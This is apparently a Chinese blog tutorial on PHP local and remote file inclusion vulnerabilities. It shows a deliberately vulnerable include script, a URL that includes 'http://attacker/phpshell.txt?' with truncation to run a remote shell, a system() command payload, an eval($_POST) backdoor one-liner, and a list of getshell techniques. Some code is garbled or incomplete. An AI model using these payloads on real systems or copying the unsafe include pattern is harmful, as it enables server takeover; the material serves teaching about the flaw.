漏洞之檔案包含漏洞

2021-10-02 02:31:31 字數 2541 閱讀 3027

在專案中為了更好地使用**的重用性,引入了檔案包含函式,可以通過檔案包含函式將檔案包含進來,直接使用包含檔案的**, 完成類似python中的import功能。

在包含檔案時候,為了靈活包含檔案,將被包含檔案設定為變數,通過動態變數來引入需要包含的檔案時,使用者可以對變數的值可控而伺服器端未對變數值進行合理地校驗或者校驗被繞過,這樣就導致了檔案包含漏洞。通常檔案包含漏洞出現在php語言中。故本文主要討論php中的包含漏洞。幾乎指令碼語言都提高包含檔案函式,  但函式在php居多, 而在asp、asp.net和jsp中非常少, 這與程式設計師的水平無關, 問題在於語言設計的弊端。

php 檔案包含的函式

jsp/servlet 檔案包含的函式

asp 檔案包含的函式

總結,

漏洞產生的二因素:

1. 可控變數 (能被攻擊者利用的變數)

2.  使用函式 (如包含函式include等)

1. 上傳:包含getshell (即得到後門)

2. 讀檔案:讀取php檔案

3. 包含日誌檔案getshell

4. 包含/proc/self/environ/檔案getshell

5. 有phpinfo可包含臨時檔案

6. 包含data://或php://inout等偽協議(需要allow_url_include=on)

檔案包含漏洞分為兩類:  本地包含漏洞和遠端包含漏洞

造成兩者形成的原因是因為, php.ini裡面的安全設定: allow_url_include

開啟即為遠端, 關閉為本地

顧名思義, 就是在**伺服器本身存在惡意檔案, 然後本地包含使用

做個簡單的測試: 

假如有個test.php指令碼有如下內容:

<?php 

$file=$_get['para'];

include($file);

...?>

上面**可以控制可控引數para來控制包含的$file的值 

因此可以建立任意字尾名的檔案進行包含執行, 如新建hack.png, 內容如下:

<?php 

phpinfo();

?>

然後訪問的時候包含hack.png檔案:

localhost/project/test.php?para=hack.png

得到如下結果:

如果包含的檔案內容不符合php語言語法的,會直接將檔案內容輸出,

比如:hack.png, 內容如下:

123
重新訪問的時候會出現:

條件: 

1. php.ini中allow_url_include和allow_url_fopen的開啟

2. 所包含的遠端檔案字尾不能與目標伺服器語言相同. (比如目標伺服器是php解析的, 遠端伺服器的檔案不能是php)

目標伺服器: localhost/test.php

遠端目標檔案: www.***.com/hack.png

遠端包含執行: localhost/test.php?para=http://www.***.com/hack.png

例如, 如下**:

<?php 

if ($route == 'share')

elseif ($route == 'sharelink')

?>

在變數 $basepath 沒有設定任何防護,  因此攻擊者可以構造類似如下的url進行攻擊:

http://www.***.com/index.php?basepath=http://attacker/phpshell.txt?
最終載入的**實際上執行了:

require_once 'http://attacker/phpshell.txt?/action/m_share.php';
問號後面的**被解釋成url的引數了,  也是一種"截斷",  這是在利用遠端檔案包含漏洞時常見的技巧; 同樣的,  %00也可以做截斷。

遠端檔案包含漏洞可以直接用來執行任意命令,  比如攻擊者的伺服器上存在如下檔案:

<?php 

echo system("var;")

?>

用上述方法遠端檔案包含之後,  可獲得 va r的命令執行。

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...